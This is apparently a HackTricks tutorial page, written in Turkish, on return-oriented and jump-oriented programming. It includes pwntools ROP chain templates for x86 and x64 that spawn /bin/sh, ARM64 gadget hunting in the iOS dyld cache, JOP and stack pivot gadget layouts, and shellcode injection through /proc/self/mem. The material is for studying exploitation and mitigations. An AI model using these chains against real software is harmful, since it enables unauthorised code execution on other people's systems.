ROP & JOP
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Return-Oriented Programming (ROP), No-Execute (NX) veya Data Execution Prevention (DEP) gibi güvenlik önlemlerini aşmak için kullanılan gelişmiş bir istismar tekniğidir. Shellcode enjekte edip çalıştırmak yerine, saldırgan ikili dosyada veya yüklenmiş kütüphanelerde zaten bulunan, “gadgets” olarak adlandırılan kod parçacıklarından yararlanır. Her gadget tipik olarak bir ret komutu ile biter ve register’lar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük işlemler gerçekleştirir. Bu gadget’ları zincirleyerek, saldırgan NX/DEP korumalarını etkili şekilde atlayarak keyfi işlemler yapan bir payload oluşturabilir.
ROP Nasıl Çalışır
- Kontrol Akışını Ele Geçirme: Öncelikle, saldırgan programın kontrol akışını ele geçirmelidir; bu genellikle bir buffer overflow kullanılarak stack üzerindeki kaydedilmiş dönüş adresinin üzerine yazılmasıyla yapılır.
- Gadget Zincirleme: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget’ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları hazırlamayı, fonksiyonu çağırmayı (ör. system(“/bin/sh”)) ve gerekli temizlik veya ilave işlemleri yapmayı içerebilir.
- Payload Çalıştırma: Zafiyetli fonksiyon döndüğünde, meşru bir yere dönmek yerine gadget zincirini çalıştırmaya başlar.
Araçlar
Genellikle gadgets şu araçlarla bulunabilir: ROPgadget, ropper veya doğrudan pwntools üzerinden (ROP).
x86 için ROP Zinciri Örneği
x86 (32-bit) Çağrı düzenleri
- cdecl: Çağıran taraf stack’i temizler. Fonksiyon argümanları ters sırayla (sağdan sola) stack’e push edilir. Argümanlar sağdan sola doğru stack’e push edilir.
- stdcall: cdecl’e benzer, ancak callee stack’i temizlemekle yükümlüdür.
Gadgets Bulma
Öncelikle, gerekli gadget’ları ikili dosyada veya yüklü kütüphanelerde tespit ettiğimizi varsayalım. İlgilendiğimiz gadget’lar şunlardır:
pop eax; ret: Bu gadget stack’in üstündeki değeriEAXregister’ına poplar ve ardından return eder; böyleceEAXkontrol edilebilir.pop ebx; ret: Yukarıdakine benzer şekildeEBXregister’ı için kontrol sağlar.mov [ebx], eax; ret:EAX’deki değeriEBX’in işaret ettiği bellek konumuna yazar ve ardından return eder. Bu genellikle bir write-what-where gadget olarak adlandırılır.- Ayrıca
system()fonksiyonunun adresine sahibiz.
ROP Zinciri
pwntools kullanarak, ROP zincirinin çalışması için stack’i şu şekilde hazırlarız; amaç system(‘/bin/sh’) çalıştırmaktır, zincirin nasıl başladığına dikkat edin:
- Hizalama amaçlı bir
retkomutu (opsiyonel) - Ret2lib daha fazla bilgi için (ASLR kapalı ve bilinen libc varsayımıyla) system fonksiyonunun adresi
- system()’in dönüş adresi için bir placeholder
- system fonksiyonu için parametre olan “/bin/sh” stringinin adresi
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64 için ROP Chain Örneği
x64 (64-bit) Çağrı konvansiyonları
- Unix-benzeri sistemlerde System V AMD64 ABI çağrı konvansiyonunu kullanır; burada ilk altı tamsayı veya pointer argümanları
RDI,RSI,RDX,RCX,R8veR9kayıtlarında geçirilir. Ek argümanlar stack üzerinde geçirilir. Dönüş değeriRAXiçine konur. - Windows x64 çağrı konvansiyonu ilk dört tamsayı veya pointer argüman için
RCX,RDX,R8veR9kullanır; ek argümanlar stack üzerinde geçirilir. Dönüş değeriRAXiçine konur. - Registers: 64-bit registerlar
RAX,RBX,RCX,RDX,RSI,RDI,RBP,RSPveR8ileR15’i içerir.
Gadgets Bulma
Amacımız açısından, RDI registerını ayarlamamıza (system() fonksiyonuna “/bin/sh” stringini argüman olarak geçirmek için) izin verecek gadget’lara odaklanalım ve ardından system() fonksiyonunu çağıralım. Aşağıdaki gadget’ları tespit ettiğimizi varsayalım:
- pop rdi; ret: Stack’in üstündeki değeri RDI’ye poplar ve sonra döner. system() için argümanımızı ayarlamak açısından temel.
- ret: Basit bir return komutu; bazı senaryolarda stack hizalaması için faydalıdır.
Ve system() fonksiyonunun adresini biliyoruz.
ROP Chain
Aşağıda pwntools kullanarak x64 üzerinde system(‘/bin/sh’) çalıştırmayı hedefleyen bir ROP zinciri kurup yürütme örneği verilmiştir:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Bu örnekte:
pop rdi; retgadget’ınıRDI’yi"/bin/sh"adresine ayarlamak için kullanıyoruz.RDI’yi ayarladıktan sonra, zincirde system()’ın adresi bulunacak şekilde doğrudan system()’e atlıyoruz.- Hedef ortam gerektiriyorsa hizalama için
ret_gadgetkullanılır; bu, fonksiyon çağrılarından önce doğru stack hizalamasını sağlamak için x64’te daha yaygındır.
Stack Alignment
The x86-64 ABI bir call instruction yürütüldüğünde stack’in 16 bayt hizalı olmasını garanti eder. LIBC, performansı optimize etmek için SSE instructions (ör. movaps) kullanır; bunlar bu hizalamayı gerektirir. Eğer stack doğru hizalanmamışsa (yani RSP 16’nın katı değilse), system gibi fonksiyonlara yapılan çağrılar bir ROP chain içinde başarısız olur. Bunu düzeltmek için, ROP chain’inizde system’i çağırmadan önce basitçe bir ret gadget ekleyin.
x86 vs x64 ana fark
Tip
Çünkü x64 ilk birkaç argüman için register’ları kullanır, basit fonksiyon çağrıları için genellikle x86’ya göre daha az gadget gerekir, ancak register sayısının artması ve adres alanının genişlemesi nedeniyle doğru gadget’ları bulmak ve zincirlemek daha karmaşık olabilir. x64 mimarisindeki daha fazla register ve daha geniş adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında exploit geliştirme için hem fırsatlar hem de zorluklar sunar.
ROP chain in ARM64
ARM64 Basics & Calling conventions ile ilgili bilgi için aşağıdaki sayfaya bakın:
[!DANGER] ARM64’te bir ROP ile bir fonksiyona atladığınızda, mevcut stack pointer’ın stack’e kaydedilmesini önlemek ve fonksiyonun tekrar tekrar çağrıldığı sonsuz bir döngüye girmemek için en azından fonksiyonun 2. instruction’ına atlamanız önemlidir.
Finding gadgets in system Dylds
Sistem kütüphaneleri dyld_shared_cache_arm64 adlı tek bir dosya halinde derlenmiş olarak gelir. Bu dosya tüm sistem kütüphanelerini sıkıştırılmış bir formatta içerir. Bu dosyayı mobil cihazdan indirmek için şu komutu kullanabilirsiniz:
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
Daha sonra, dyld_shared_cache_arm64 dosyasından gerçek kütüphaneleri çıkarmak için birkaç araç kullanabilirsiniz:
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
Şimdi, exploit ettiğiniz binary için ilginç gadgets bulmak amacıyla, önce binary tarafından hangi kütüphanelerin yüklendiğini bilmeniz gerekiyor. Bunun için lldb* kullanabilirsiniz:
lldb ./vuln
br s -n main
run
image list
Son olarak, ilgilendiğiniz kütüphanelerde gadget’ları bulmak için Ropper kullanabilirsiniz:
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP, ROP’a benzer bir tekniktir; ancak her gadget, sonunda RET instruction kullanmak yerine jump adresleri kullanır. Bu, ROP’un mümkün olmadığı durumlarda — örneğin uygun gadget bulunmadığında — özellikle faydalı olabilir. Bu, ret instruction’ın x86/x64 mimarilerindeki kadar yaygın kullanılmadığı ARM mimarilerinde yaygın olarak kullanılır.
JOP gadget’lerini bulmak için rop araçlarını da kullanabilirsiniz, örneğin:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
Bir örneğe bakalım:
-
Çağrılacak şekilde heap’te depolanmış bir function pointer’ı üzerine yazmamıza izin veren heap overflow var.
-
x0kontrol ettiğimiz bir alana (heap) işaret ediyor -
Yüklü system libraries’den aşağıdaki gadgets’ları buluyoruz:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- İlk gadget’ı kullanarak
x0’ı/bin/sh’e işaret eden bir pointer ile (heap’te saklı) yükleyebilir ve ardındanx0 + 0x30’tanx2’yisystemadresi ile yükleyip ona atlayabiliriz.
Stack Pivot
Stack pivoting, exploitation sırasında stack pointer’ı (RSP in x64, SP in ARM64) kontrol edilen bir bellek bölgesini işaret edecek şekilde değiştirmek için kullanılan bir tekniktir; örneğin heap veya stack üzerindeki bir buffer. Saldırgan buraya payload’unu (genellikle bir ROP/JOP chain) yerleştirebilir.
Examples of Stack Pivoting chains:
- Sadece 1 gadget örneği:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- Örnek birden fazla gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
/proc/self/mem ile Shellcode (Embedded Linux)
Zaten bir ROP chain’iniz varsa fakat no RWX mappings, bir alternatif, /proc/self/mem’i kullanarak shellcode’u mevcut işleme yazmak ve sonra ona atlamaktır. Bu, varsayılan yapılandırmalarda /proc/self/mem’in yürütülebilir segmentlerdeki yazma korumalarını yoksayabildiği Embedded Linux hedeflerinde yaygındır.
Tipik zincir fikri:
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
Eğer fd’yi korumak zor ise, open()’ı birden fazla çağırmak /proc/self/mem için kullanılan dosya tanımlayıcısını tahmin etmeyi mümkün kılabilir. ARM Thumb hedeflerinde, dallanırken (addr | 1) alt biti ayarlamayı unutmayın.
ROP ve JOP’a Karşı Koruma
- ASLR & PIE: Bu korumalar, gadget’ların adresleri her yürütmede değiştiği için ROP kullanımını zorlaştırır.
- Stack Canaries: Bir BOF durumunda, dönüş işaretçilerini ezip bir ROP zincirini kötüye kullanmak için Stack Canaries’ın atlatılması gerekir.
- Lack of Gadgets: Eğer yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır.
ROP tabanlı teknikler
Unutmayın ki ROP, keyfi kod çalıştırmak için kullanılan bir tekniktir. ROP’a dayalı olarak birçok Ret2XXX tekniği geliştirildi:
- Ret2lib: Yüklü bir kütüphaneden rastgele parametrelerle fonksiyonları çağırmak için ROP kullanılır (genellikle
system('/bin/sh')gibi).
- Ret2Syscall: Bir syscall çağrısını (ör.
execve) hazırlamak için ROP kullanılır ve böylece rastgele komutlar çalıştırılır.
- EBP2Ret & EBP Chaining: İlki akışı kontrol etmek için EBP’yi EIP yerine suistimal eder; ikincisi Ret2lib’e benzer ancak bu durumda akış ağırlıklı olarak EBP adresleriyle kontrol edilir (her ne kadar EIP’nin de kontrol edilmesi gerekse de).
Diğer Örnekler & Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie and nx enabled, no canary, RIP’i bir
vsyscalladresi ile overwrite ederek amaç stack’teki bir sonraki adrese dönmektir; bu adresin kısmi overwrite’ı olacak ve leaks the flag yapan fonksiyonun ilgili kısmını elde etmek içindir - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok, stack’i executable yapacak bir ROP gadget’ı ve stack’teki shellcode’a atlama
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


